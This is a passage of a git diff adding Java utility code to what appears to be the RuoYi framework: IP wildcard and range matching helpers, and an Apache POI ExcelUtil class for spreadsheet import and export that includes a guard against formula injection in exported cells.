StringUtils.isNotBlank(ip) && ip.matches(REGX_IP); + } + + /** + * 是否为IP,或 *为间隔的通配符地址 + */ + public static boolean isIpWildCard(String ip) + { + return StringUtils.isNotBlank(ip) && ip.matches(REGX_IP_WILDCARD); + } + + /** + * 检测参数是否在ip通配符里 + */ + public static boolean ipIsInWildCardNoCheck(String ipWildCard, String ip) + { + String[] s1 = ipWildCard.split("\\."); + String[] s2 = ip.split("\\."); + boolean isMatchedSeg = true; + for (int i = 0; i < s1.length && !s1[i].equals("*"); i++) + { + if (!s1[i].equals(s2[i])) + { + isMatchedSeg = false; + break; + } + } + return isMatchedSeg; + } + + /** + * 是否为特定格式如:“10.10.10.1-10.10.10.99”的ip段字符串 + */ + public static boolean isIPSegment(String ipSeg) + { + return StringUtils.isNotBlank(ipSeg) && ipSeg.matches(REGX_IP_SEG); + } + + /** + * 判断ip是否在指定网段中 + */ + public static boolean ipIsInNetNoCheck(String iparea, String ip) + { + int idx = iparea.indexOf('-'); + String[] sips = iparea.substring(0, idx).split("\\."); + String[] sipe = iparea.substring(idx + 1).split("\\."); + String[] sipt = ip.split("\\."); + long ips = 0L, ipe = 0L, ipt = 0L; + for (int i = 0; i < 4; ++i) + { + ips = ips << 8 | Integer.parseInt(sips[i]); + ipe = ipe << 8 | Integer.parseInt(sipe[i]); + ipt = ipt << 8 | Integer.parseInt(sipt[i]); + } + if (ips > ipe) + { + long t = ips; + ips = ipe; + ipe = t; + } + return ips <= ipt && ipt <= ipe; + } + + /** + * 校验ip是否符合过滤串规则 + * + * @param filter 过滤IP列表,支持后缀'*'通配,支持网段如:`10.10.10.1-10.10.10.99` + * @param ip 校验IP地址 + * @return boolean 结果 + */ + public static boolean isMatchedIp(String filter, String ip) + { + if (StringUtils.isEmpty(filter) || StringUtils.isEmpty(ip)) + { + return false; + } + String[] ips = filter.split(";"); + for (String iStr : ips) + { + if (isIP(iStr) && iStr.equals(ip)) + { + return true; + } + else if (isIpWildCard(iStr) && ipIsInWildCardNoCheck(iStr, ip)) + { + return true; + } + else if (isIPSegment(iStr) && ipIsInNetNoCheck(iStr, ip)) + { + return true; + } + } + return false; + } +} \ No newline at end of file diff --git a/ruoyi-common/src/main/java/com/ruoyi/common/utils/poi/ExcelHandlerAdapter.java b/ruoyi-common/src/main/java/com/ruoyi/common/utils/poi/ExcelHandlerAdapter.java new file mode 100644 index 0000000..5ea74c1 --- /dev/null +++ b/ruoyi-common/src/main/java/com/ruoyi/common/utils/poi/ExcelHandlerAdapter.java @@ -0,0 +1,19 @@ +package com.ruoyi.common.utils.poi; + +/** + * Excel数据格式处理适配器 + * + * @author ruoyi + */ +public interface ExcelHandlerAdapter +{ + /** + * 格式化 + * + * @param value 单元格数据值 + * @param args excel注解args参数组 + * + * @return 处理后的值 + */ + Object format(Object value, String[] args); +} diff --git a/ruoyi-common/src/main/java/com/ruoyi/common/utils/poi/ExcelUtil.java b/ruoyi-common/src/main/java/com/ruoyi/common/utils/poi/ExcelUtil.java new file mode 100644 index 0000000..e40c3d9 --- /dev/null +++ b/ruoyi-common/src/main/java/com/ruoyi/common/utils/poi/ExcelUtil.java @@ -0,0 +1,1767 @@ +package com.ruoyi.common.utils.poi; + +import java.io.File; +import java.io.FileOutputStream; +import java.io.IOException; +import java.io.InputStream; +import java.io.OutputStream; +import java.lang.reflect.Field; +import java.lang.reflect.Method; +import java.lang.reflect.ParameterizedType; +import java.math.BigDecimal; +import java.text.DecimalFormat; +import java.time.LocalDate; +import java.time.LocalDateTime; +import java.util.ArrayList; +import java.util.Arrays; +import java.util.Collection; +import java.util.Comparator; +import java.util.Date; +import java.util.HashMap; +import java.util.List; +import java.util.Map; +import java.util.Set; +import java.util.UUID; +import java.util.stream.Collectors; +import javax.servlet.http.HttpServletResponse; + +import com.ruoyi.common.enums.RecordEnum; +import org.apache.commons.lang3.ArrayUtils; +import org.apache.commons.lang3.RegExUtils; +import org.apache.commons.lang3.reflect.FieldUtils; +import org.apache.poi.hssf.usermodel.HSSFClientAnchor; +import org.apache.poi.hssf.usermodel.HSSFPicture; +import org.apache.poi.hssf.usermodel.HSSFPictureData; +import org.apache.poi.hssf.usermodel.HSSFShape; +import org.apache.poi.hssf.usermodel.HSSFSheet; +import org.apache.poi.hssf.usermodel.HSSFWorkbook; +import org.apache.poi.ooxml.POIXMLDocumentPart; +import org.apache.poi.ss.usermodel.BorderStyle; +import org.apache.poi.ss.usermodel.Cell; +import org.apache.poi.ss.usermodel.CellStyle; +import org.apache.poi.ss.usermodel.CellType; +import org.apache.poi.ss.usermodel.ClientAnchor; +import org.apache.poi.ss.usermodel.DataValidation; +import org.apache.poi.ss.usermodel.DataValidationConstraint; +import org.apache.poi.ss.usermodel.DataValidationHelper; +import org.apache.poi.ss.usermodel.DateUtil; +import org.apache.poi.ss.usermodel.Drawing; +import org.apache.poi.ss.usermodel.FillPatternType; +import org.apache.poi.ss.usermodel.Font; +import org.apache.poi.ss.usermodel.HorizontalAlignment; +import org.apache.poi.ss.usermodel.IndexedColors; +import org.apache.poi.ss.usermodel.Name; +import org.apache.poi.ss.usermodel.PictureData; +import org.apache.poi.ss.usermodel.Row; +import org.apache.poi.ss.usermodel.Sheet; +import org.apache.poi.ss.usermodel.VerticalAlignment; +import org.apache.poi.ss.usermodel.Workbook; +import org.apache.poi.ss.usermodel.WorkbookFactory; +import org.apache.poi.ss.util.CellRangeAddress; +import org.apache.poi.ss.util.CellRangeAddressList; +import org.apache.poi.util.IOUtils; +import org.apache.poi.xssf.streaming.SXSSFWorkbook; +import org.apache.poi.xssf.usermodel.XSSFClientAnchor; +import org.apache.poi.xssf.usermodel.XSSFDataValidation; +import org.apache.poi.xssf.usermodel.XSSFDrawing; +import org.apache.poi.xssf.usermodel.XSSFPicture; +import org.apache.poi.xssf.usermodel.XSSFShape; +import org.apache.poi.xssf.usermodel.XSSFSheet; +import org.apache.poi.xssf.usermodel.XSSFWorkbook; +import org.openxmlformats.schemas.drawingml.x2006.spreadsheetDrawing.CTMarker; +import org.slf4j.Logger; +import org.slf4j.LoggerFactory; +import com.ruoyi.common.annotation.Excel; +import com.ruoyi.common.annotation.Excel.ColumnType; +import com.ruoyi.common.annotation.Excel.Type; +import com.ruoyi.common.annotation.Excels; +import com.ruoyi.common.config.RuoYiConfig; +import com.ruoyi.common.core.domain.AjaxResult; +import com.ruoyi.common.core.text.Convert; +import com.ruoyi.common.exception.UtilException; +import com.ruoyi.common.utils.DateUtils; +import com.ruoyi.common.utils.DictUtils; +import com.ruoyi.common.utils.StringUtils; +import com.ruoyi.common.utils.file.FileTypeUtils; +import com.ruoyi.common.utils.file.FileUtils; +import com.ruoyi.common.utils.file.ImageUtils; +import com.ruoyi.common.utils.reflect.ReflectUtils; + +/** + * Excel相关处理 + * + * @author ruoyi + */ +public class ExcelUtil +{ + private static final Logger log = LoggerFactory.getLogger(ExcelUtil.class); + + public static final String FORMULA_REGEX_STR = "=|-|\\+|@"; + + public static final String[] FORMULA_STR = { "=", "-", "+", "@" }; + + /** + * 用于dictType属性数据存储,避免重复查缓存 + */ + public Map sysDictMap = new HashMap(); + + /** + * Excel sheet最大行数,默认65536 + */ + public static final int sheetSize = 65536; + + /** + * 工作表名称 + */ + private String sheetName; + + /** + * 导出类型(EXPORT:导出数据;IMPORT:导入模板) + */ + private Type type; + + /** + * 工作薄对象 + */ + private Workbook wb; + + /** + * 工作表对象 + */ + private Sheet sheet; + + /** + * 样式列表 + */ + private Map styles; + + /** + * 导入导出数据列表 + */ + private List list; + + /** + * 注解列表 + */ + private List fields; + + /** + * 当前行号 + */ + private int rownum; + + /** + * 标题 + */ + private String title; + + /** + * 最大高度 + */ + private short maxHeight; + + /** + * 合并后最后行数 + */ + private int subMergedLastRowNum = 0; + + /** + * 合并后开始行数 + */ + private int subMergedFirstRowNum = 1; + + /** + * 对象的子列表方法 + */ + private Method subMethod; + + /** + * 对象的子列表属性 + */ + private List subFields; + + /** + * 统计列表 + */ + private Map statistics = new HashMap(); + + /** + * 数字格式 + */ + private static final DecimalFormat DOUBLE_FORMAT = new DecimalFormat("######0.00"); + + /** + * 实体对象 + */ + public Class clazz; + + /** + * 需要排除列属性 + */ + public String[] excludeFields; + + public ExcelUtil(Class clazz) + { + this.clazz = clazz; + } + + /** + * 隐藏Excel中列属性 + * + * @param fields 列属性名 示例[单个"name"/多个"id","name"] + * @throws Exception + */ + public void hideColumn(String... fields) + { + this.excludeFields = fields; + } + + public void init(List list, String sheetName, String title, Type type) + { + if (list == null) + { + list = new ArrayList(); + } + this.list = list; + this.sheetName = sheetName; + this.type = type; + this.title = title; + createExcelField(); + createWorkbook(); + createTitle(); + createSubHead(); + } + + /** + * 创建excel第一行标题 + */ + public void createTitle() + { + if (StringUtils.isNotEmpty(title)) + { + subMergedFirstRowNum++; + subMergedLastRowNum++; + int titleLastCol = this.fields.size() - 1; + if (isSubList()) + { + titleLastCol = titleLastCol + subFields.size() - 1; + } + Row titleRow = sheet.createRow(rownum == 0 ? rownum++ : 0); + titleRow.setHeightInPoints(30); + Cell titleCell = titleRow.createCell(0); + titleCell.setCellStyle(styles.get("title")); + titleCell.setCellValue(title); + sheet.addMergedRegion(new CellRangeAddress(titleRow.getRowNum(), titleRow.getRowNum(), titleRow.getRowNum(), titleLastCol)); + } + } + + /** + * 创建对象的子列表名称 + */ + public void createSubHead() + { + if (isSubList()) + { + subMergedFirstRowNum++; + subMergedLastRowNum++; + Row subRow = sheet.createRow(rownum); + int excelNum = 0; + for (Object[] objects : fields) + { + Excel attr = (Excel) objects[1]; + Cell headCell1 = subRow.createCell(excelNum); + headCell1.setCellValue(attr.name()); + headCell1.setCellStyle(styles.get(StringUtils.format("header_{}_{}", attr.headerColor(), attr.headerBackgroundColor()))); + excelNum++; + } + int headFirstRow = excelNum - 1; + int headLastRow = headFirstRow + subFields.size() - 1; + if (headLastRow > headFirstRow) + { + sheet.addMergedRegion(new CellRangeAddress(rownum, rownum, headFirstRow, headLastRow)); + } + rownum++; + } + } + + /** + * 对excel表单默认第一个索引名转换成list + * + * @param is 输入流 + * @return 转换后集合 + */ + public List importExcel(InputStream is) throws Exception + { + return importExcel(is, 0); + } + + /** + * 对excel表单默认第一个索引名转换成list + * + * @param is 输入流 + * @param titleNum 标题占用行数 + * @return 转换后集合 + */ + public List importExcel(InputStream is, int titleNum) throws Exception + { + return importExcel(StringUtils.EMPTY, is, titleNum); + } + + /** + * 对excel表单指定表格索引名转换成list + * + * @param sheetName 表格索引名 + * @param titleNum 标题占用行数 + * @param is 输入流 + * @return 转换后集合 + */ + public List importExcel(String sheetName, InputStream is, int titleNum) throws Exception + { + this.type = Type.IMPORT; + this.wb = WorkbookFactory.create(is); + List list = new ArrayList(); + // 如果指定sheet名,则取指定sheet中的内容 否则默认指向第1个sheet + Sheet sheet = StringUtils.isNotEmpty(sheetName) ? wb.getSheet(sheetName) : wb.getSheetAt(0); + if (sheet == null) + { + throw new IOException("文件sheet不存在"); + } + boolean isXSSFWorkbook = !(wb instanceof HSSFWorkbook); + Map pictures; + if (isXSSFWorkbook) + { + pictures = getSheetPictures07((XSSFSheet) sheet, (XSSFWorkbook) wb); + } + else + { + pictures = getSheetPictures03((HSSFSheet) sheet, (HSSFWorkbook) wb); + } + // 获取最后一个非空行的行下标,比如总行数为n,则返回的为n-1 + int rows = sheet.getLastRowNum(); + + if (rows > 0) + { + // 定义一个map用于存放excel列的序号和field. + Map cellMap = new HashMap(); + // 获取表头 + Row heard = sheet.getRow(titleNum); + for (int i = 0; i < heard.getPhysicalNumberOfCells(); i++) + { + Cell cell = heard.getCell(i); + if (StringUtils.isNotNull(cell)) + { + String value = this.getCellValue(heard, i).toString(); + cellMap.put(value, i); + } + else + { + cellMap.put(null, i); + } + } + // 有数据时才处理 得到类的所有field. + List fields = this.getFields(); + Map fieldsMap = new HashMap(); + for (Object[] objects : fields) + { + Excel attr = (Excel) objects[1]; + Integer column = cellMap.get(attr.name()); + if (column != null) + { + fieldsMap.put(column, objects); + } + } + for (int i = titleNum + 1; i <= rows; i++) + { + // 从第2行开始取数据,默认第一行是表头. + Row row = sheet.getRow(i); + // 判断当前行是否是空行 + if (isRowEmpty(row)) + { + continue; + } + T entity = null; + for (Map.Entry entry : fieldsMap.entrySet()) + { + Object val = this.getCellValue(row, entry.getKey()); + + // 如果不存在实例则新建. + entity = (entity == null ? clazz.newInstance() : entity); + // 从map中得到对应列的field. + Field field = (Field) entry.getValue()[0]; + Excel attr = (Excel) entry.getValue()[1]; + // 取得类型,并根据对象类型设置值. + Class fieldType = field.getType(); + if (String.class == fieldType) + { + String s = Convert.toStr(val); + if (StringUtils.endsWith(s, ".0")) + { + val = StringUtils.substringBefore(s, ".0"); + } + else + { + String dateFormat = field.getAnnotation(Excel.class).dateFormat(); + if (StringUtils.isNotEmpty(dateFormat)) + { + val = parseDateToStr(dateFormat, val); + } + else + { + val = Convert.toStr(val); + } + } + } + else if ((Integer.TYPE == fieldType || Integer.class == fieldType) && StringUtils.isNumeric(Convert.toStr(val))) + { + val = Convert.toInt(val); + } + else if ((Long.TYPE == fieldType || Long.class == fieldType) && StringUtils.isNumeric(Convert.toStr(val))) + { + val = Convert.toLong(val); + } + else if (Double.TYPE == fieldType || Double.class == fieldType) + { + val = Convert.toDouble(val); + } + else if (Float.TYPE == fieldType || Float.class == fieldType) + { + val = Convert.toFloat(val); + } + else if (BigDecimal.class == fieldType) + { + val = Convert.toBigDecimal(val); + } + else if (Date.class == fieldType) + { + if (val instanceof String) + { + val = DateUtils.parseDate(val); + } + else if (val instanceof Double) + { + val = DateUtil.getJavaDate((Double) val); + } + } + else if (Boolean.TYPE == fieldType || Boolean.class == fieldType) + { + val = Convert.toBool(val, false); + } + if (StringUtils.isNotNull(fieldType)) + { + String propertyName = field.getName(); + if (StringUtils.isNotEmpty(attr.targetAttr())) + { + propertyName = field.getName() + "." + attr.targetAttr(); + } + else if (StringUtils.isNotEmpty(attr.readConverterExp())) + { + val = reverseByExp(Convert.toStr(val), attr.readConverterExp(), attr.separator()); + } + else if (StringUtils.isNotEmpty(attr.dictType())) + { + val = reverseDictByExp(Convert.toStr(val), attr.dictType(), attr.separator()); + } + else if (StringUtils.isNotEmpty(attr.enumType())) + { + val = getEnumByType(Convert.toStr(val), attr.enumType()); + } + else if (!attr.handler().equals(ExcelHandlerAdapter.class)) + { + val = dataFormatHandlerAdapter(val, attr); + } + else if (ColumnType.IMAGE == attr.cellType() && StringUtils.isNotEmpty(pictures)) + { + PictureData image = pictures.get(row.getRowNum() + "_" + entry.getKey()); + if (image == null) + { + val = ""; + } + else + { + byte[] data = image.getData(); + val = FileUtils.writeImportBytes(data); + } + } + ReflectUtils.invokeSetter(entity, propertyName, val); + } + } + list.add(entity); + } + } + return list; + } + + /** + * 对list数据源将其里面的数据导入到excel表单 + * + * @param list 导出数据集合 + * @param sheetName 工作表的名称 + * @return 结果 + */ + public AjaxResult exportExcel(List list, String sheetName) + { + return exportExcel(list, sheetName, StringUtils.EMPTY); + } + + /** + * 对list数据源将其里面的数据导入到excel表单 + * + * @param list 导出数据集合 + * @param sheetName 工作表的名称 + * @param title 标题 + * @return 结果 + */ + public AjaxResult exportExcel(List list, String sheetName, String title) + { + this.init(list, sheetName, title, Type.EXPORT); + return exportExcel(); + } + + /** + * 对list数据源将其里面的数据导入到excel表单 + * + * @param response 返回数据 + * @param list 导出数据集合 + * @param sheetName 工作表的名称 + * @return 结果 + */ + public void exportExcel(HttpServletResponse response, List list, String sheetName) + { + exportExcel(response, list, sheetName, StringUtils.EMPTY); + } + + /** + * 对list数据源将其里面的数据导入到excel表单 + * + * @param response 返回数据 + * @param list 导出数据集合 + * @param sheetName 工作表的名称 + * @param title 标题 + * @return 结果 + */ + public void exportExcel(HttpServletResponse response, List list, String sheetName, String title) + { + response.setContentType("application/vnd.openxmlformats-officedocument.spreadsheetml.sheet"); + response.setCharacterEncoding("utf-8"); + this.init(list, sheetName, title, Type.EXPORT); + exportExcel(response); + } + + /** + * 对list数据源将其里面的数据导入到excel表单 + * + * @param sheetName 工作表的名称 + * @return 结果 + */ + public AjaxResult importTemplateExcel(String sheetName) + { + return importTemplateExcel(sheetName, StringUtils.EMPTY); + } + + /** + * 对list数据源将其里面的数据导入到excel表单 + * + * @param sheetName 工作表的名称 + * @param title 标题 + * @return 结果 + */ + public AjaxResult importTemplateExcel(String sheetName, String title) + { + this.init(null, sheetName, title, Type.IMPORT); + return exportExcel(); + } + + /** + * 对list数据源将其里面的数据导入到excel表单 + * + * @param sheetName 工作表的名称 + * @return 结果 + */ + public void importTemplateExcel(HttpServletResponse response, String sheetName) + { + importTemplateExcel(response, sheetName, StringUtils.EMPTY); + } + + /** + * 对list数据源将其里面的数据导入到excel表单 + * + * @param sheetName 工作表的名称 + * @param title 标题 + * @return 结果 + */ + public void importTemplateExcel(HttpServletResponse response, String sheetName, String title) + { + response.setContentType("application/vnd.openxmlformats-officedocument.spreadsheetml.sheet"); + response.setCharacterEncoding("utf-8"); + this.init(null, sheetName, title, Type.IMPORT); + exportExcel(response); + } + + /** + * 对list数据源将其里面的数据导入到excel表单 + * + * @return 结果 + */ + public void exportExcel(HttpServletResponse response) + { + try + { + writeSheet(); + wb.write(response.getOutputStream()); + } + catch (Exception e) + { + log.error("导出Excel异常{}", e.getMessage()); + } + finally + { + IOUtils.closeQuietly(wb); + } + } + + /** + * 对list数据源将其里面的数据导入到excel表单 + * + * @return 结果 + */ + public AjaxResult exportExcel() + { + OutputStream out = null; + try + { + writeSheet(); + String filename = encodingFilename(sheetName); + out = new FileOutputStream(getAbsoluteFile(filename)); + wb.write(out); + return AjaxResult.success(filename); + } + catch (Exception e) + { + log.error("导出Excel异常{}", e.getMessage()); + throw new UtilException("导出Excel失败,请联系网站管理员!"); + } + finally + { + IOUtils.closeQuietly(wb); + IOUtils.closeQuietly(out); + } + } + + /** + * 创建写入数据到Sheet + */ + public void writeSheet() + { + // 取出一共有多少个sheet. + int sheetNo = Math.max(1, (int) Math.ceil(list.size() * 1.0 / sheetSize)); + for (int index = 0; index < sheetNo; index++) + { + createSheet(sheetNo, index); + + // 产生一行 + Row row = sheet.createRow(rownum); + int column = 0; + // 写入各个字段的列头名称 + for (Object[] os : fields) + { + Field field = (Field) os[0]; + Excel excel = (Excel) os[1]; + if (Collection.class.isAssignableFrom(field.getType())) + { + for (Field subField : subFields) + { + Excel subExcel = subField.getAnnotation(Excel.class); + this.createHeadCell(subExcel, row, column++); + } + } + else + { + this.createHeadCell(excel, row, column++); + } + } + if (Type.EXPORT.equals(type)) + { + fillExcelData(index, row); + addStatisticsRow(); + } + } + } + + /** + * 填充excel数据 + * + * @param index 序号 + * @param row 单元格行 + */ + @SuppressWarnings("unchecked") + public void fillExcelData(int index, Row row) + { + int startNo = index * sheetSize; + int endNo = Math.min(startNo + sheetSize, list.size()); + int rowNo = (1 + rownum) - startNo; + for (int i = startNo; i < endNo; i++) + { + rowNo = isSubList() ? (i > 1 ? rowNo + 1 : rowNo + i) : i + 1 + rownum - startNo; + row = sheet.createRow(rowNo); + // 得到导出对象. + T vo = (T) list.get(i); + Collection subList = null; + if (isSubList()) + { + if (isSubListValue(vo)) + { + subList = getListCellValue(vo); + subMergedLastRowNum = subMergedLastRowNum + subList.size(); + } + else + { + subMergedFirstRowNum++; + subMergedLastRowNum++; + } + } + int column = 0; + for (Object[] os : fields) + { + Field field = (Field) os[0]; + Excel excel = (Excel) os[1]; + if (Collection.class.isAssignableFrom(field.getType()) && StringUtils.isNotNull(subList)) + { + boolean subFirst = false; + for (Object obj : subList) + { + if (subFirst) + { + rowNo++; + row = sheet.createRow(rowNo); + } + List subFields = FieldUtils.getFieldsListWithAnnotation(obj.getClass(), Excel.class); + int subIndex = 0; + for (Field subField : subFields) + { + if (subField.isAnnotationPresent(Excel.class)) + { + subField.setAccessible(true); + Excel attr = subField.getAnnotation(Excel.class); + this.addCell(attr, row, (T) obj, subField, column + subIndex); + } + subIndex++; + } + subFirst = true; + } + this.subMergedFirstRowNum = this.subMergedFirstRowNum + subList.size(); + } + else + { + this.addCell(excel, row, vo, field, column++); + } + } + } + } + + /** + * 创建表格样式 + * + * @param wb 工作薄对象 + * @return 样式列表 + */ + private Map createStyles(Workbook wb) + { + // 写入各条记录,每条记录对应excel表中的一行 + Map styles = new HashMap(); + CellStyle style = wb.createCellStyle(); + style.setAlignment(HorizontalAlignment.CENTER); + style.setVerticalAlignment(VerticalAlignment.CENTER); + Font titleFont = wb.createFont(); + titleFont.setFontName("Arial"); + titleFont.setFontHeightInPoints((short) 16); + titleFont.setBold(true); + style.setFont(titleFont); + styles.put("title", style); + + style = wb.createCellStyle(); + style.setAlignment(HorizontalAlignment.CENTER); + style.setVerticalAlignment(VerticalAlignment.CENTER); + style.setBorderRight(BorderStyle.THIN); + style.setRightBorderColor(IndexedColors.GREY_50_PERCENT.getIndex()); + style.setBorderLeft(BorderStyle.THIN); + style.setLeftBorderColor(IndexedColors.GREY_50_PERCENT.getIndex()); + style.setBorderTop(BorderStyle.THIN); + style.setTopBorderColor(IndexedColors.GREY_50_PERCENT.getIndex()); + style.setBorderBottom(BorderStyle.THIN); + style.setBottomBorderColor(IndexedColors.GREY_50_PERCENT.getIndex()); + Font dataFont = wb.createFont(); + dataFont.setFontName("Arial"); + dataFont.setFontHeightInPoints((short) 10); + style.setFont(dataFont); + styles.put("data", style); + + style = wb.createCellStyle(); + style.setAlignment(HorizontalAlignment.CENTER); + style.setVerticalAlignment(VerticalAlignment.CENTER); + Font totalFont = wb.createFont(); + totalFont.setFontName("Arial"); + totalFont.setFontHeightInPoints((short) 10); + style.setFont(totalFont); + styles.put("total", style); + + styles.putAll(annotationHeaderStyles(wb, styles)); + + styles.putAll(annotationDataStyles(wb)); + + return styles; + } + + /** + * 根据Excel注解创建表格头样式 + * + * @param wb 工作薄对象 + * @return 自定义样式列表 + */ + private Map annotationHeaderStyles(Workbook wb, Map styles) + { + Map headerStyles = new HashMap(); + for (Object[] os : fields) + { + Excel excel = (Excel) os[1]; + String key = StringUtils.format("header_{}_{}", excel.headerColor(), excel.headerBackgroundColor()); + if (!headerStyles.containsKey(key)) + { + CellStyle style = wb.createCellStyle(); + style.cloneStyleFrom(styles.get("data")); + style.setAlignment(HorizontalAlignment.CENTER); + style.setVerticalAlignment(VerticalAlignment.CENTER); + style.setFillForegroundColor(excel.headerBackgroundColor().index); + style.setFillPattern(FillPatternType.SOLID_FOREGROUND); + Font headerFont = wb.createFont(); + headerFont.setFontName("Arial"); + headerFont.setFontHeightInPoints((short) 10); + headerFont.setBold(true); + headerFont.setColor(excel.headerColor().index); + style.setFont(headerFont); + headerStyles.put(key, style); + } + } + return headerStyles; + } + + /** + * 根据Excel注解创建表格列样式 + * + * @param wb 工作薄对象 + * @return 自定义样式列表 + */ + private Map annotationDataStyles(Workbook wb) + { + Map styles = new HashMap(); + for (Object[] os : fields) + { + Excel excel = (Excel) os[1]; + String key = StringUtils.format("data_{}_{}_{}", excel.align(), excel.color(), excel.backgroundColor()); + if (!styles.containsKey(key)) + { + CellStyle style = wb.createCellStyle(); + style.setAlignment(excel.align()); + style.setVerticalAlignment(VerticalAlignment.CENTER); + style.setBorderRight(BorderStyle.THIN); + style.setRightBorderColor(IndexedColors.GREY_50_PERCENT.getIndex()); + style.setBorderLeft(BorderStyle.THIN); + style.setLeftBorderColor(IndexedColors.GREY_50_PERCENT.getIndex()); + style.setBorderTop(BorderStyle.THIN); + style.setTopBorderColor(IndexedColors.GREY_50_PERCENT.getIndex()); + style.setBorderBottom(BorderStyle.THIN); + style.setBottomBorderColor(IndexedColors.GREY_50_PERCENT.getIndex()); + style.setFillPattern(FillPatternType.SOLID_FOREGROUND); + style.setFillForegroundColor(excel.backgroundColor().getIndex()); + Font dataFont = wb.createFont(); + dataFont.setFontName("Arial"); + dataFont.setFontHeightInPoints((short) 10); + dataFont.setColor(excel.color().index); + style.setFont(dataFont); + styles.put(key, style); + } + } + return styles; + } + + /** + * 创建单元格 + */ + public Cell createHeadCell(Excel attr, Row row, int column) + { + // 创建列 + Cell cell = row.createCell(column); + // 写入列信息 + cell.setCellValue(attr.name()); + setDataValidation(attr, row, column); + cell.setCellStyle(styles.get(StringUtils.format("header_{}_{}", attr.headerColor(), attr.headerBackgroundColor()))); + if (isSubList()) + { + // 填充默认样式,防止合并单元格样式失效 + sheet.setDefaultColumnStyle(column, styles.get(StringUtils.format("data_{}_{}_{}", attr.align(), attr.color(), attr.backgroundColor()))); + if (attr.needMerge()) + { + sheet.addMergedRegion(new CellRangeAddress(rownum - 1, rownum, column, column)); + } + } + return cell; + } + + /** + * 设置单元格信息 + * + * @param value 单元格值 + * @param attr 注解相关 + * @param cell 单元格信息 + */ + public void setCellVo(Object value, Excel attr, Cell cell) + { + if (ColumnType.STRING == attr.cellType()) + { + String cellValue = Convert.toStr(value); + // 对于任何以表达式触发字符 =-+@开头的单元格,直接使用tab字符作为前缀,防止CSV注入。 + if (StringUtils.startsWithAny(cellValue, FORMULA_STR)) + { + cellValue = RegExUtils.replaceFirst(cellValue, FORMULA_REGEX_STR, "\t$0"); + } + if (value instanceof Collection && StringUtils.equals("[]", cellValue)) + { + cellValue = StringUtils.EMPTY; + } + cell.setCellValue(StringUtils.isNull(cellValue) ? attr.defaultValue() : cellValue + attr.suffix()); + } + else if (ColumnType.NUMERIC == attr.cellType()) + { + if (StringUtils.isNotNull(value)) + { + cell.setCellValue(StringUtils.contains(Convert.toStr(value), ".") ? Convert.toDouble(value) : Convert.toInt(value)); + } + } + else if (ColumnType.IMAGE == attr.cellType()) + { + ClientAnchor anchor = new XSSFClientAnchor(0, 0, 0, 0, (short) cell.getColumnIndex(), cell.getRow().getRowNum(), (short) (cell.getColumnIndex() + 1), cell.getRow().getRowNum() + 1); + String imagePath = Convert.toStr(value); + if (StringUtils.isNotEmpty(imagePath)) + { + byte[] data = ImageUtils.getImage(imagePath); + getDrawingPatriarch(cell.getSheet()).createPicture(anchor, + cell.getSheet().getWorkbook().addPicture(data, getImageType(data))); + } + } + } + + /** + * 获取画布 + */ + public static Drawing getDrawingPatriarch(Sheet sheet) + { + if (sheet.getDrawingPatriarch() == null) + { + sheet.createDrawingPatriarch(); + } + return sheet.getDrawingPatriarch(); + } + + /** + * 获取图片类型,设置图片插入类型 + */ + public int getImageType(byte[] value) + { + String type = FileTypeUtils.getFileExtendName(value); + if ("JPG".equalsIgnoreCase(type)) + { + return Workbook.PICTURE_TYPE_JPEG; + } + else if ("PNG".equalsIgnoreCase(type)) + { + return Workbook.PICTURE_TYPE_PNG; + } + return Workbook.PICTURE_TYPE_JPEG; + } + + /** + * 创建表格样式 + */ + public void setDataValidation(Excel attr, Row row, int column) + { + if (attr.name().indexOf("注:") >= 0) + { + sheet.setColumnWidth(column, 6000); + } + else + { + // 设置列宽 + sheet.setColumnWidth(column, (int) ((attr.width() + 0.72) * 256)); + } + if (StringUtils.isNotEmpty(attr.prompt()) || attr.combo().length > 0) + { + if (attr.combo().length > 15 || StringUtils.join(attr.combo()).length() > 255) + { + // 如果下拉数大于15或字符串长度大于255,则使用一个新sheet存储,避免生成的模板下拉值获取不到 + setXSSFValidationWithHidden(sheet, attr.combo(), attr.prompt(), 1, 100, column, column); + } + else + { + // 提示信息或只能选择不能输入的列内容. + setPromptOrValidation(sheet, attr.combo(), attr.prompt(), 1, 100, column, column); + } + } + } + + /** + * 添加单元格 + */ + public Cell addCell(Excel attr, Row row, T vo, Field field, int column) + { + Cell cell = null; + try + { + // 设置行高 + row.setHeight(maxHeight); + // 根据Excel中设置情况决定是否导出,有些情况需要保持为空,希望用户填写这一列. + if (attr.isExport()) + { + // 创建cell + cell = row.createCell(column); + if (isSubListValue(vo) && getListCellValue(vo).size() > 1 && attr.needMerge()) + { + CellRangeAddress cellAddress = new CellRangeAddress(subMergedFirstRowNum, subMergedLastRowNum, column, column); + sheet.addMergedRegion(cellAddress); + } + cell.setCellStyle(styles.get(StringUtils.format("data_{}_{}_{}", attr.align(), attr.color(), attr.backgroundColor()))); + + // 用于读取对象中的属性 + Object value = getTargetValue(vo, field, attr); + String dateFormat = attr.dateFormat(); + String readConverterExp = attr.readConverterExp(); + String separator = attr.separator(); + String dictType = attr.dictType(); + String enumType = attr.enumType(); + if (StringUtils.isNotEmpty(dateFormat) && StringUtils.isNotNull(value)) + { + cell.setCellValue(parseDateToStr(dateFormat, value)); + } + else if (StringUtils.isNotEmpty(readConverterExp) && StringUtils.isNotNull(value)) + { + cell.setCellValue(convertByExp(Convert.toStr(value), readConverterExp, separator)); + } + else if (StringUtils.isNotEmpty(dictType) && StringUtils.isNotNull(value)) + { + if (!sysDictMap.containsKey(dictType + value)) + { + String lable = convertDictByExp(Convert.toStr(value), dictType, separator); + sysDictMap.put(dictType + value, lable); + } + cell.setCellValue(sysDictMap.get(dictType + value)); + } + else if (StringUtils.isNotEmpty(enumType)){ + String lable = getEnumByType(Convert.toStr(value), enumType); + cell.setCellValue(lable); + } + else if (value instanceof BigDecimal && -1 != attr.scale()) + { + cell.setCellValue((((BigDecimal) value).setScale(attr.scale(), attr.roundingMode())).doubleValue()); + } + else if (!attr.handler().equals(ExcelHandlerAdapter.class)) + { + cell.setCellValue(dataFormatHandlerAdapter(value, attr)); + } + else + { + // 设置列类型 + setCellVo(value, attr, cell); + } + addStatisticsData(column, Convert.toStr(value), attr); + } + } + catch (Exception e) + { + log.error("导出Excel失败{}", e); + } + return cell; + } + + /** + * 设置 POI XSSFSheet 单元格提示或选择框 + * + * @param sheet 表单 + * @param textlist 下拉框显示的内容 + * @param promptContent 提示内容 + * @param firstRow 开始行 + * @param endRow 结束行 + * @param firstCol 开始列 + * @param endCol 结束列 